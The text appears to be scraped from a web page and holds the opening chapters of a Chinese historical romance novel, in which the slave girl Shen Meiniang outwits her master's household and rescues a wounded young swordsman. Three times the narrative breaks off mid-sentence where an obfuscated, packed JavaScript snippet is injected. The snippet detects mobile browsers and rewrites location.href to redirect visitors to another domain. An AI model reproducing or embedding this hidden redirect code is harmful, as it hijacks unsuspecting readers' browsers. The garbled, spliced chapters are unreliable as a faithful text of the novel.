《土著美人和穿二代皇帝》 1. 第1章 芙蓉谷无人不知道沈美娘的名字。 有人道她是司马大人养在外面的外妇,三月前惹了正室夫人不快,从大宅子被赶到了这偏僻地。 也有人说她是猫鬼变的,不然怎会让清正的司马大人,宁愿和夫人闹得不愉快,也舍不得打发她走。 听说猫鬼是会吃人心的,芙蓉谷的人唯恐避之不及,连带着她住的竹屋也少有人去,生怕叫她哄了魂。 至于沈美娘本人,对此倒不介意,总是带着护院侍从们从村这头闲逛到那头去,碰到人也总是笑吟吟。 今日风光好,日头也好,沈美娘出来闲逛,还特地走到村东头的林子里去瞧了瞧。 回来时,日暮西山,她蹦蹦跳跳踩过田埂,时不时抬眼望向远方的残阳。 她正好看到几位村中的娘子干完农活归家,笑着和她们挥手: “赵娘子!” “吴大娘。” …… 除了赵娘子笑着回应了她以外,其余的娘子都纷纷加快脚步。 吴大娘更是拢着小女儿飞也似的离开。 她不过垂髫之年的女儿不解仰头:“娘,那个漂亮姐姐在和你说话。” “你懂什么,她啊,是猫鬼变的,专摄人心魄,吃人血肉的。”吴大娘恫吓女儿。 吴小娘子吓得脸色发白,却又忍不住好奇偏过头去看沈美娘。 沈美娘大抵是察觉到她的目光,本就仿佛刻在脸上的笑意更深了几分,眼中若秋波潋滟。 小姑娘立刻转过头,抱紧娘亲的小臂。 娘亲说的果然没错,这个沈娘子肯定是鬼怪变的,才叫她多看一眼,就脸红耳热。 沈美娘没得到小姑娘回应也不恼不失落,随手展开她那把边角被磨损得厉害的纸扇扇风。 上头正面写着“翩翩公子”四个大字,在她的动作下晃得格外显眼。 沈美娘回竹屋时,侍女宝儿正在收晒了整天的被褥,看到她蹦蹦跳跳、举止无状的样子忍不住皱眉。 “青词,你看看她,一天天傻乐。”宝儿忍不住和另一位侍女青词嘀咕。 青词只笑笑,道:“姑娘爱活动,你又不是不知道。” “她哪里是爱活动,我瞧就是不知收敛。”宝儿道。 她不用问沈美娘,就知道她肯定是又满村子、满山野乱跑去了。 这个女人就是太不知道检点,才会被主君从府里赶出来。 “好宝儿,今日你在家里做了什么啊?”沈美娘像是没听到宝儿的话,仍就笑着问她。 宝儿“哼”了一声:“帮你这个懒鬼洗衣裳、洗被褥啊!” 她就是不服沈美娘。 不过是个来历不明的女奴。 偏偏不知怎么就得了主君青眼,让人教她跳舞、弹琴不说,还请了女先生教她礼仪。 就算主君碍于主母的压力,把这个祸水送到庄子上来了,也还是派护院时时守着她,像看眼珠子般小心。 沈美娘听到宝儿的话,主动伸手帮她收被褥、衣裳,笑得眉眼弯弯:“对不住啊宝儿,明日我就不出去了,陪你一起洗衣裳。” 宝儿瞧了眼沈美娘的笑脸,一把扯过对方手里的被褥:“你总是这么说,哪次真帮我洗呢?” 她还不了解沈美娘?一身懒骨,就光嘴巴上说几句好听的。 “我这双手得娇养着。”沈美娘没有丝毫心虚尴尬:“待我以后出人头地了,你就不用再做这些事了。” 她本就生得香腮粉面,笑意盈盈时更让人生不出一丝气。 谁也舍不得让美人生气,更别提还是个总笑着的大美人。 “等你风光了再说吧!”宝儿转过头去,抱着木盆就走。 算了,好歹沈美娘长得好看,伺候她,也总比伺候府里脾气大还长得丑的公子们好。 目睹了一切的李嬷嬷忍不住道:“伤风败俗。” 这个沈美娘一天给爷们抛媚眼也就罢了,对上女子也总是这副娇娇柔柔的样子。 当真是个狐媚子,难怪主母看不顺眼她,要将她赶到这村野里来。 “李嬷嬷,你说什么呀?是饭做好了吗?”沈美娘“天真”又不解地眨了眨眼,“今天嬷嬷做了些什么好吃的?有肉吗?” 李嬷嬷没想到沈美娘会直接问她,愣了一下才道:“自然是有的,娘子等会儿便好了。” “好,”沈美娘欢欢喜喜跑开,缠着在铺被褥的宝儿,“宝儿,今晚有肉吃哦。” 听到沈美娘如此容易被满足的话,李嬷嬷更看不上这个沈美娘了。 当真是目光短浅、粗鄙不堪! 沈美娘十三岁时被底下人献给了司马大人,那时人人都以为府上很快会添一位新姨娘。 可是好几年过去了,司马大人虽颇为照顾她,还请人调\教沈美娘,却似乎没有将沈美娘收入房中的意思。 随着年岁渐长,沈美娘的美貌也越来越惊人,还惹得府中几位公子的侧目。 其中就有主母亲生的二公子。 夫人能容得下一位姨娘,却断断容不得沈美娘这样来历不明的女奴勾引她儿子的。 三月前,夫人使了好大的力气才将沈美娘从沈府赶出来。 可就算沈美娘到了这乡野里,她也不待消停的,成日里到处跑,活脱脱一个不着家的浪\荡\女。 李嬷嬷更是确信若不是她盯着,这个狐媚子恐怕能把整个竹屋的护院都勾\搭成她的裙下之臣。 只可惜,沈美娘实在太狡猾,她盯了这么久,却还是没拿到什么实据。 “林护院,”沈美娘停下和宝儿的闲聊的话,娇娇唤了声护院们的首领。 李嬷嬷警觉,佯装洒扫靠近门边,只听到沈美娘说什么“今晚亥时东村林中见”。 李嬷嬷一盘算,便确信沈美娘这定是要和野男人见面。 不管是这个总是跟在沈美娘身边的林护院,还是芙蓉谷里别的野男人。 好啊,只要今晚能将她和奸夫抓个正着,主母也就有了由头把这个不守妇道的狐狸精赶走了。 她也可以回府上去,不用再在芙蓉谷伺候沈美娘这个贱婢了。 用晚膳时,沈美娘给李嬷嬷挑了一整块肥瘦相间的肉,笑得格外动人:“李嬷嬷,你也多吃点,你岁数大了要注意身体。” 李嬷嬷连忙道谢,低头扒拉碗里的饭。 她低着头,也就看不见沈美娘说完话后,垂眸时眼中一闪而过的寒光。 用完饭,沈美娘就在箱子里翻找着东西,最后才从箱底翻出一条做工精美的腰带。 不过看式样像是给男子用的。 本朝有给男子送腰带定情的意思,李嬷嬷瞧到沈美娘的动作,更确信她是打算夜里私会情郎去了。 这个女子当真是不怕死又不知羞。 就算主君如今将她放逐到芙蓉谷来,似乎不再看重她,也断没有她就能和旁人私通的道理。 沈美娘将腰带拿在手中瞧了又瞧,像是很喜欢这条腰带。 可是一想到等会儿这条腰带的下场,她又惋惜地叹了口气。 这么好的料子,若是拿去当了定能卖好几两银子,只可惜今夜要拿来做别的用途了。 入了夜,原本只是细细吹拂的凉风,一下比一下重,像是要将整座竹屋都掀翻过去的架势。 沈美娘披上帏帽蓑衣,趁着宝儿不注意,就往夜色深处走去。 她没有掌灯,仿佛身处白昼般畅行无阻,跟在她身后提着灯笼的李嬷嬷和护院都有些跟不上她的脚步。 难怪那么多人都说沈美娘是精怪变的。 若不是精怪,怎么会在伸手不见五指的黑夜里,像一阵风般轻灵而行? 沈美娘脚下不停,走到村东头时,特地驻足回望了片刻。 在确定李嬷嬷已经跟丢了她后,复走进那野林深处。 偶尔有野兽的低吼声从远处飘进耳中,沈美娘也毫不害怕,依旧坚定地向里面而去。 这三个月里,她早就摸清楚了芙蓉谷的每一条小路。 更清楚这处林中夏日没有野兽,得到了冬日才可能有存粮不够的野狼,会到这里来觅食,甚至可能会进村骚扰村民。 那些野兽低吼的声音,应当是从更远的山头飘来的声音。 她提着裙摆渐渐深入林中,很快就看到了在林中等她的人。 “二公子。”沈美娘轻轻唤了声。 听到她的声音,叶随急切地跑到她面前,不顾礼法猛地攥住她的手:“美娘,你终于愿意见我了!” 沈美娘还在府中时,叶随就瞧上了她。 可不知为何,不论他怎么向父亲讨要,父亲就是舍不得将沈美娘送给他。 母亲将她赶出府后,自己虽托林护院几次给她递消息,她却从未回应过。 直到昨日她才突然和林护院说,今晚想和他见一面。 想来沈美娘这是终于吃不了苦,打算从了自己。 “二公子,其实,美娘也很想您。只是主母说得对,奴婢卑贱之身,怎么能攀附您呢?”沈美娘眼里汪着眼泪,实在是梨花带雨、惹人心疼。 叶随瞧了,连忙哄她:“你放心,我会说服母亲的,不说是妾室,至少也会纳你做个通房丫头的。” “当真?”沈美娘娇声问。 见叶随点头,她便偏过头轻轻笑了。 两人间朦胧的灯火拢着美人,叶随不由看得入迷。 沈美娘的眼角余光扫过林外,终于看到了远处点点隐隐约约的灯火。 李嬷嬷和那几个护院真是太差劲儿了些,居然这么久才跟上来。 “美娘……”叶随盯着沈美娘,想就这样吻下来,却被沈美娘伸手捂住嘴。 沈美娘羞涩轻笑:“林护院还在瞧着。” 叶随立刻会意,让林护院往后退了退,冷声吩咐:“没有我的吩咐,不许靠近、不许出声。” “公子真好。”沈美娘将手中的腰带拿出给叶随,“这是奴婢亲自绣的,还望公子不要嫌弃。” “不嫌弃、不嫌弃!”叶随立刻道。 他也只提了一盏灯,暖黄的烛火映着沈美娘姣好的容颜,更看得他春心荡漾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924215|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈美娘这般温柔又美丽的女子,不知比他府中那个母老虎好了多少。 “哎呀。”沈美娘握住叶随伸向她衣带的手,“公子怎么这般性急……这样吧,我用腰带缠住公子的眼,若是公子能抓住我,我便……” 她没将话说完,叶随却登时就明白了她的意思。 他只当这是闺房情\趣,也没有拂了美人意,连声道好。 沈美娘用腰带蒙住叶随的眼,用脚将叶随放在地上的灯一脚踢灭。 “在这边。”沈美娘一声声误导叶随。 她将帏帽脱下往林护院那边一扔,叶随自以为找到了沈美娘的地方,欢天喜地而去。 沈美娘却已经躲到了高处的树林里去,她看到逐渐靠近林护院的叶随捂住嘴偷笑。 风越来越大,雨终于落下,李嬷嬷手中的灯笼也被狂风吹灭。 叶随一直没抓到沈美娘,不禁耐不住性子:“美娘,下雨了……” 听到有男人喊沈美娘的声音,李嬷嬷确信捉奸成功,带着那群护卫就上前按着叶随,就是一顿揍。 沈美娘听到男人惨叫的声音,拢了拢身上的蓑衣,眯着眼俯视远处看不真切的黑影。 她扯了扯嘴角,才哼着小调,欢欢喜喜绕了另一条小路离开。 在叶府时,叶随有事没事就喜欢调戏沈美娘,她早就想狠狠收拾这人一顿了。 今日这人终于挨了顿揍,沈美娘心情颇为不错,脚步也愈加轻快起来。 但没走多远,她的脚就被突然捉住,若不是她稳住了身子,差点一头栽进泥里去。 “什么人!”沈美娘呵斥道。 她今日这身衣裳可是她最喜欢的那几身之一,要是沾了泥巴,她和这人没完! 但沈美娘很快察觉出不对。 抓住她脚踝的这只手,很冰,不像是活人的手。 沈美娘的脑子一瞬间闪过许多听说过的故事,什么活死人,什么妖鬼…… “我不管你是什么东西,你最好现在就给我放开。”沈美娘呵斥。 就算是鬼又怎么样? 沈美娘连高高在上的贵人们都不怕,更别提这些不干净的东西了。 倘若当真是受了苦的冤魂,那就是成了鬼魅,也该去和生前做恶之人讨要公道才是。 像这种迫害无辜路人的东西,想必道行也没多高。 见他不肯放手,沈美娘冷哼一声:“你以为我会怕你吗?我告诉你,你杀了我,我定也会变成厉鬼,决不放过你。” 沈美娘还一天好日子都没过过,她要现在就在如花似玉的年纪死了,她怨气比谁都大。 死就死,这东西能成妖鬼,她就不能吗? 等她成了妖鬼,她第一个来把这东西给吞了。 可能是沈美娘的话吓到了那东西,他嘴里发出“咯咯”的声音。 沈美娘没听清他说的什么,俯下身才听清他的话:“救……救救我……” 原来是个人啊。 沈美娘这才从被雨水浸透的泥土散发出来的怪味里,辨认出一些血腥的味道。 这个人应当还受了重伤。 大雨过后,巢穴受损的猛兽,也会像冬日那般外出觅食,再加上此人身上的血腥味,想必不会有什么好下场。 “放手。”可惜沈美娘不是多管闲事的人,她的语气仍就平淡冷静。 雨夜受了重伤的男人——不管对方是得罪了人,还是逃奴什么的,都可能给自己惹祸上身。 沈美娘从不做赔本的买卖,更不会在自己的生活里埋下未知的隐患。 可男人大抵伤得太重,听了沈美娘的话也没有松开手。 “你不放,我自己扒开可以了吧?”沈美娘弯下腰将男人的手指一根根扒开。 她身上宽大蓑衣,也替男人挡住了一些雨。 他得以积攒更多的力气,很轻很轻地真诚恳求沈美娘:“这位娘子,能不能请你救救我。” 沈美娘的动作一顿,旋即更加利落地将男人的手从自己的脚踝上拽下来。 她用力擦了把男人的脸,凑近才发现这人瞧着最多不过十七八岁,眉眼稚嫩又单纯,好看得像画上的仙童。 不像叶随那种被酒色掏空身体的虚弱,眼前的少年即使身体虚弱至极,却仍清隽正直。 让沈美娘想起了竹屋旁经雨更加挺直的翠竹。 “你说什么?”沈美娘问。 比起少年人好看的脸,她更在乎对方刚才的话。 “请、请你救救我……”少年喃喃,随即晕了过去。 沈美娘目光沉沉盯着眼前人,还是没有动作。 天边划过一道惊雷,白花花的光瞬间将深沉的夜照得如白昼。 少年血肉模糊的泥人模样随着光,落在沈美娘的眼里。 迟滞于白光的雷鸣声片刻后才“轰隆轰隆”响彻山谷,在她耳边突兀炸开。 沈美娘终于挪了挪脚。 她扶起少年,轻斥:“冤家。” 既然都开口求她了,那她就大发慈悲救一下好了。 2. 第2章 少年瞧着瘦弱,真上手扶着,才发觉他一点都不轻。 沈美娘路上经过赵娘子家,找赵娘子借了推车,费了好大力气才将他顺利运了回来。 还好竹屋的护院今夜都跟着李嬷嬷捉奸去了,她可以正大光明把少年带进屋里。 “沈美娘!你去哪里呢?”宝儿惊呼。 她上前替沈美娘脱下不断向下滴着雨的蓑衣,这才注意到被沈美娘像拖死狗般拖回来的人。 “这是谁?”宝儿问。 沈美娘来不及回答宝儿的问题,先让会医术的青词替那少年瞧伤。 面对宝儿的诘问,她随口道:“树林子里捡的。” 沈美娘把人扶上床去,近距离仔细观察少年的眉眼。 剑眉,薄唇,本该是很清冷的长相,偏偏不知为何就是眉眼间含着几分单纯稚嫩。 饶是沈美娘眼高于顶,也不得不承认眼前的少年确实很是俊美。 生得这般俊美,不是贱籍的小官、伶人,那便很可能是王孙贵族。 “嘶——”青词忍不住倒吸一口凉气,“这位公子受的伤实在是太重了。” 沈美娘的目光扫过嘴唇煞白的少年,眼皮都不抬一下,似乎并不觉得这有什么。 青词虽通医术,但还少见这样的血腥,不禁啧啧称奇:“这位公子的右腿像是重剑所伤,要是医治不及时,怕是以后就废了。” 闻言,沈美娘的目光才落在那人被泥浆浸透的右腿上。 原来这少年居然伤得这般重。 那她刚才连拖带拽,把这人从山林上带下来,他居然也能忍住一声不吭? 要是醒着怎么可能一声不吭,说不定他是痛晕过去了。 她可不觉得这人有那般厉害。 青词拿出大剪刀,将少年右腿上的布料剪下,又让宝儿去打水。 沈美娘的目光只在少年的腿上停留一瞬,就弯腰捡起了床下的碎布。 打完水的宝儿看到沈美娘的动作,急忙将她从屋里拉出来:“你是真不要脸面了吗?” 她羞红了脸,指着沈美娘和她手中的碎布:“虽然大家都说你、说你……” 宝儿年岁还小,自然说不出那些肮脏的话,但还是一咬一跺脚质问:“以前她们都说你不、不检点,但你怎么还真能看到男子的衣服就捡呢?” 简直枉费她从前,还为了沈美娘和那些长舌妇理论。 原本在摩挲手中布料的沈美娘,听到这话愣了一下。 片刻后,她无奈叹气,在檐下雨沟里将手中的碎布洗去上面的污泥。 “瞧瞧。”沈美娘将碎布给宝儿看。 宝儿不解:“不就是块破布吗?有什么好看的?” 沈美娘无语凝噎,将布料放进宝儿手里:“你摸摸。” “有什么好摸的……”宝儿摩挲布料的动作一滞,“是绸缎!” 沈美娘这才满意地点了点头。 看来这小丫头还不算太蠢。 “绸缎又怎么呢?这破破烂烂的,也卖不了几个钱。”宝儿道。 沈美娘嘴角抽了一下,才继续道:“你说什么人,能穿绸缎。” 《燕律》规定商人和贱户是不能穿绸缎的,那这男子就不可能是伶人。 寻常良民,像是农户,律法虽准他们穿,可是又有几个农户能买得起绸缎呢? 若说是租的倒是也有可能,可谁又会穿着租来的绸衣深更半夜往深山老林跑? 万一弄毁了,那可是农家人不吃不喝好几年才赔得起的东西。 宝儿在沈美娘的引导下,福至心灵:“娘子是说这位公子是王孙公子、官宦世家……或者说,再不济也得是书香门第的子弟?” “对!”沈美娘道。 “好宝儿,你听过的传奇故事不少,”沈美娘又晃悠她手里那把破折扇,颇为得意,“你说,会不会我这真是捡了个颇有来历的小公子。” 沈美娘美滋滋幻想:“说不准啊,就像那说书先生讲的那样,这公子啊,是什么丞相家的小公子,又或许是什么翰林、尚书家的……宝儿,你别走啊,我是说真的!” “到时候,我要是做了官家夫人,有幸脱了奴籍,我也第一个给你赎身脱贱籍。”沈美娘跟上宝儿继续叨叨。 宝儿被她念烦了,翻了个白眼:“我看你脑袋就是听传奇故事听坏了,他要是颇有来历,轮得到你救!” 沈美娘听到这话愣在原地。 宝儿以为伤了沈美娘的心,正想解释,宽慰宽慰她,却看到沈美娘点头:“也对,故事里的大人物都有护卫和暗卫来着。” 宝儿沉默片刻,抱着盆,又去给青词换水。 算了,她不能指望一个听传奇故事把脑子听坏的人。 沈美娘等宝儿走后,还是继续盯着手里的花纹。 她知道贵人们绸缎上的花纹也是有讲究的。 可惜,她没当过贵人,不知道这花纹究竟什么人才能用。 不过也无碍,她不认识这花纹,自然有的是人认识。 沈美娘将碎布塞进衣袖里藏了起来。 青词的医术在芙蓉谷也是出了名的,她很快就处理好了少年的伤口,又给他接骨、上药。 沈美娘不像宝儿那般爱害羞,没有躲到屋外去,反而全程盯着少年。 一个人的习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的眼神太过认真,就像学堂里的学生向夫子请教问题,好像沈美娘回答了他,他就会立刻奉为金科玉律。 被叫“妖精”叫习惯了的沈美娘,突然听到有人把她当成神仙,逗弄之心忽起。 “不是哦,”她笑得花枝乱颤,语气轻浮放\荡,“我是妖鬼。” 沈美娘起身坐在桌上,看向单纯的少年:“住在山间,专吸过路人精血的那种。” 3. 第3章 少年听到沈美娘的话,没有被她吓到,他好像陷入了某种思考。 挣扎纠缠了很久,他才终于下定决心,鼓起勇气和沈美娘对视:“是你把我从林子里救回来的吗?” “对啊。”沈美娘不知道他问这个做什么。 少年闻言,深吸了一口气,英勇赴死般:“既然如此,那你就是我的救命恩人……你来吧。” 只有两人的内室陷入死一般的沉默。 等到微风拂过烛台,烛影轻摇,沈美娘才反应过来:“美得你。” “和我睡觉是得给钱的,你可付不起。”她道。 少年不解:“什么睡觉,你不是说要吸人/精血吗?” “你知道吸/精血要怎么吸吗?”沈美娘坐到床沿边,故意靠近少年问。 “不就是……”少年声音渐小。 他像是终于明白了沈美娘的意思,原本煞白的脸终于有了几分血色——不知道是被气的,还是羞的。 沈美娘逗弄少年的主意成功,颇为得意地勾了勾唇。 她对眼前人的好奇也在此刻达到了顶点。 原本她以为少年一定是王公贵族,不过和他说了几句话,沈美娘又觉得这人不太可能是。 她可不相信那些贵公子会像这人这般蠢。 被沈美娘一通捉弄的少年,终于想明白沈美娘不是神灵,更不是什么妖鬼。 他清了清嗓子,颇为有礼地问:“请问这位娘子,此处是哪里?” “这里是芙蓉谷,此处是我住的竹屋。”沈美娘道。 少年:“芙蓉谷?这里到明州还远吗?” 沈美娘听到“明州”二字,像是热心肠般问:“你是明州人?” “不是、不是,我是上京人,我要去明州……”少年提及明州时顿了一下,“去明州投奔亲戚的,不料路上住了黑店,他们想谋财害命。” 上京人? 少年叽里呱啦一堆,但沈美娘只对“上京人”三个字格外上心。 沈美娘从没去过上京,但她知道那是天子脚下,更是权贵扎堆的好地方。 听到少年说自己是上京人,她心底更加好奇对方的身份。 “公子与我说了这般多,倒是还没和我说您的名字呢?”沈美娘自觉换了更尊敬的称呼。 少年全然没设防,爽朗道:“我叫宋江江,宋者居也,江水的江。” 不姓姜,那就不大可能是皇室中人了。 沈美娘又回想自己听说书先生编排的那些大官。 唔,好像也没听说过哪个丞相、大将军姓宋的。 至于那些名存实亡的世家……就更没有姓宋的了。 沈美娘垂眸,目光扫过少年的好看的脸。 可是这人生得这般好看,真的会是寻常人家吗? 沈美娘已经确信少年是个有问必答的主儿,又不甘心地问:“不知公子家中是做什么的。” 宋江江:“家中是行脚商人,做些小买卖罢了。” 他在说谎。 沈美娘立刻察觉出其中的问题。 别说商人家不能穿绸衣,就说寻常商人家,也养不出这般白净的小公子。 但她并不打算戳穿少年。 看起来这般单纯无害的人,竟把她也骗过去了,还真以为他是个蠢货。 沈美娘唤了青词进来帮少年治伤。 宋江江在青词帮他查看伤口时,露出错愕又很是惊慌的眼神,连声拒绝。 但他受的伤太重,还是没拗得过青词。 沈美娘故意道:“宋公子这是害羞呢?” 大虞民风开放,民间就奢靡重\欲之风盛行,那些贵人们也大多不将什么礼法放在眼里。 沈美娘越发觉得眼前的宋江江有趣。 她依旧觉得宋江江是大有来头的贵人,不过她还确实从未见过宋江江这样性格的贵人。 宋江江偏过头想不看沈美娘,不过因着伤得太重,他刚转过头去,就被青词训了:“公子别乱动,小心扭伤脖子。” 沈美娘也故意掐着嗓学青词:“公子别乱动。” 宋江江还是好脾气,虽然脸红了又白,但到底也没说沈美娘什么。 他故作镇静装作看不见沈美娘的样子,不过耳尖却已经红得滴血了。 沈美娘看他这般容易害羞,愈发觉得这人有趣。 沈美娘解决完意外闯入自己生活的宋江江,还不得不面对另一个意料之中的麻烦。 第二日,只睡了一多个时辰的沈美娘,早早就起床在廊下等候。 果然不到一个时辰,大夫人和她身边的嬷嬷就气势汹汹赶来了竹屋。 “把这个贱\人给我按住。”大夫人指着沈美娘就道。 大夫人也是读过书的,会被气到破口大骂的程度,看来昨晚林随应该是被打得很惨。 宝儿和青词听到大夫人的话吓得不知所措。 沈美娘反而不在意,被嬷嬷们按着跪在地上也没有反抗。 她哭得梨花带雨,一副懵懂模样:“大夫人,奴是对二公子有几分心意。奴自知配不上公子,您让奴到这荒郊野岭,奴也来了,您何必如此咄咄逼人呢?” 别问,问就是沈美娘太爱二公子,太怕大夫人了。 至于昨晚二公子挨打的事,她这般柔弱的姑娘可不知道。 “你这个贱人,害得我儿被打成那个样子,居然还说你什么都不知道?”大夫人快被沈美娘气死了。 “二、二公子居然受了伤?”沈美娘一脸惊讶不已的神情,“昨夜奴私会公子,后来下了雨,那地方路窄石头多,石头上青苔也多,奴脚下没注意,一个脚滑就从山上摔了下来。” 像是为了证明自己,沈美娘掀开裙摆,露出白皙小腿上的大片青紫,又羞红着脸放下。 她像是劫后余生般紧张道:“幸好有棵小树挡了一下,不然奴怕是连命都没了。” “奴醒来时已经快天亮了,也是刚回来梳洗好。”沈美娘哭得梨花带雨。 大夫人看到沈美娘如今的反应,都忍不住怀疑是不是自己错怪她了。 李嬷嬷在旁边瞧沈美娘这诡辩的说辞,气不打一处来:“你这女子狡辩的话倒是多!” “主母不要听这贱/人的话,若不是她故意将帏帽递给二公子,奴婢又怎会把二公子认作那浮华之人。”李嬷嬷急忙辩解。 沈美娘恍然大悟:“是因奴害怕公子淋雨,将自己的帏帽递给公子挡雨的缘故吗?” “呜呜呜……早知如此,奴就不给公子了,都怪奴害了公子……” 沈美娘哭得肝肠寸断,倒像是昨夜被打了一顿的人是她。 “你!”李嬷嬷没想到沈美娘居然如此能颠倒黑白,“主母,这狐媚子在府上的时候就不老实,您看不如将她打发得远远的。” 今日若不将错全都推到沈美娘身上去,李嬷嬷自己恐怕就得被主母罚了 大夫人盯着沈美娘看了好一会儿,突然冷冷道:“口说无凭,何况是你这种卑贱之人的话。” 沈美娘听到这话抬头:“夫人的意思是……” “三十杖下去,你要是还不改口,或许你说的也值得一信。”大夫人轻描淡写道。 三十杖! 院里其他下人都被吓了一跳。 别说沈美娘这样的美娇娘,就算换一个皮糙肉厚的练家子来,三十杖下去怎么也得在床上躺几个月。 若是打的人有心,把人打残也不是不可能。 沈美娘擦着眼角的泪,依旧是那副柔弱无骨的可怜模样:“任凭主母发落。” 大夫人很快就指了几个下人行刑,沈美娘倒是毫无惧意,只一个劲儿说不是自己做的。 但就在其中一个护院拿着绳子要将沈美娘捆到椅子上受刑时,不知从哪里飞出来一个东西将护院的手打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大夫人看向不知为何会突然出现在这里的男人:“叶郎,你怎么会来这里?” “我再不来,难道要看着你打死人吗?”叶司马呵斥,“还不快带你这些人回府。” 大夫人忍不住和叶司马争吵:“叶郎,你究竟为何总是偏心这个奴隶!她就算有几分姿色,难道能比得上你我夫妻几十年的情谊……” 沈美娘在旁边围观叶家夫妻吵架,还时不时把她也牵扯进去骂几句。 “闭嘴!”叶司马自觉理亏,但有些话又不能直说,只好对叶随道:“还不快把你娘带回去。” 叶随念念不舍地看向沈美娘,沈美娘也仿佛有三千情丝般与他脉脉对视。 叶司马看了更生气:“还不快去!” 等大夫人等人离开,叶司马才叹了口气上前:“美娘,怪我这儿子不懂事,夫人也是个眼光短浅的,倒是扰了你清静。” 沈美娘摇了摇头,轻声道:“不怪夫人和公子,都是奴的错,辜负了司马大人的知遇之恩。” 叶司马瞧着眼前眉峰微蹙、眼角带泪的女人,就是他这样清心寡欲的人,看了也忍不住心生怜爱之心。 倒也难怪儿子三番两次找他要这美人,夫人也不相信他留着沈美娘是有别的打算。 叶司马叹了口气:“我是没本事,不然就成全你与随儿了……” “大人不必说这样的话,能为大人解忧才是奴的心愿。”沈美娘垂眸,“至于旁的,都不重要。” 她一副对叶随情根深种,又识大体的模样,倒是让叶司马更加动容。 叶司马也放宽了心,知道沈美娘没有为了情爱犯糊涂,颇为欣慰道:“再过一两月,你这颗明珠便不必蒙尘了。” “大人的意思是?”沈美娘问。 叶司马摆手,并不打算事先告诉沈美娘具体的事情:“你只要知道,那人是再好不过的选择。” 沈美娘在心里啐了一口。 老狐狸,不就是怕告诉她,万一她嫌将来要屈身的贵人不好,跑了吗? 再好不过?也不怕说大话闪了舌头。 全天下最有权力的男人是皇帝,难不成这做了多年外放官的老东西,还有本事把她献给皇帝不成? 4. 第4章 提起外男,沈美娘倒是想起她房里还藏了个男人。 她还得处理好那人的安置问题。 她主动提议:“李嬷嬷和之前那班护院们想来是大夫人的人,不知司马大人可否给美娘换些伺候的人。” “那是自然。”叶司马知道大夫人盯着沈美娘,如今还闹出这种事来自知理亏。 “青词有个表亲要来投奔她,不知道大人能不能让他到奴这里。”沈美娘怯怯道,“奴也是怕日后再碰上大夫人为难的事……” 叶司马连连点头:“可以。” 这个青词是沈美娘被底下人献给他时,就跟在沈美娘身边的人,和青词这种叶府家生子不同。 他一直都担心沈美娘会和青词偷跑,才会派这么多护院盯着她。 不过有其他护院盯着,多一个沈美娘的人,应当也闹不出什么风浪。 沈美娘笑着送走了叶司马,方捡起地上的石头进屋。 果然她的床榻上已经空无一人,床上的风铃也被人拆了。 “宋江江,人都走了,可以出来了。”沈美娘坐到椅子上,给自己沏了杯茶。 衣柜门打开,宋江江一瘸一拐从里面出来。 “坐吧。”沈美娘让青词给宋江江搬了椅子,看他艰难的动作难得有些好心,“能坐得住吗?” “可以。”宋江江道。 几个时辰前还昏睡不醒的人,眼下就可以用石头救她,还能和她坐着说话了。 沈美娘要不是信得过青词,都要怀疑这人之前的伤是不是装的了。 “好,那我就直说了。”沈美娘直直看向对方,“你究竟是做什么的?” 看宋江江嘴唇微动,她又打断道:“不必急着回我。” “这石头是刚才你扔的吧,隔这么远,这准头这力道……哪个商家子弟有这么好的功夫?”沈美娘掰着指头一一数着少年的不合理之处,“何况哪个商人家里敢穿绸衣。” 两人之间一时格外沉默。 许久后,宋江江先妥协。 他盯着沈美娘的眼睛,认真道:“你是我的救命恩人,我不骗你。” “我出身游侠之家,我也是剑客……我是想去明州找我娘,投奔我外祖家的。”宋江江道。 少年的眼睛格外干净,好像藏不住一点心事,说这些话时也不见半点虚伪。 原来他是游侠啊。 那就不奇怪了,侠者以武犯禁,不遵守律法偷偷穿个绸衣,还真不算什么大事。 沈美娘端起茶喝了一口:“那你爹呢?” 宋江江听到这话肉眼可见的心情低落了一些:“我娘早就同他和离了,我如今也和他没关系了。” “和离?”沈美娘放下茶盏,“令堂当真是女中豪杰。” 大燕民风开放,可真要说和离还真没几个人和离的,尤其是女方主动与男方和离。 沈美娘对宋江江的兴趣又多了不少。 “你当真叫宋江江?不是随口胡诌的名字诓骗我的?”沈美娘问。 “自然不是!”少年生怕沈美娘不信,急忙辩解道,“我娘喜欢江水。她说大江滔滔不绝,终究汇于汪洋,是决绝固执、锲而不舍的,她喜欢江水才给我取了这个名字。” “决绝固执、锲而不舍?”沈美娘听不懂这些高深的词语,反而问了另一个问题:“那你怎么不叫‘宋江’呢?” 宋江江摇头:“具体的我也不清楚。只听我娘说,如果叫‘宋江’的话,我在我娘的家乡,会从十来岁被人笑话到进棺材的。” “我娘就直接在后面多加了个‘江’字,做了我的名字,江水嘛,多多益善也没什么的。”宋江江有些害羞腼腆地挠了挠头,“这下你信我了吗?” “好吧,勉强相信你。”沈美娘将茶盏放下,“不过,有件事得和你说一下,以后和我说话,不许说那些文绉绉的词。” “什么决绝、不舍,还有多什么膳的……”沈美娘没记清刚才那几个词。 宋江江连忙道:“是决绝固执、锲而不舍和多多益善。” “我知道!谁要你提醒了。”沈美娘一点都不为自己肚子里没墨水尴尬,反而大大方方命令宋江江,“总之就是,这些都不许说。” 宋江江有些担心:“你是听不懂吗?” 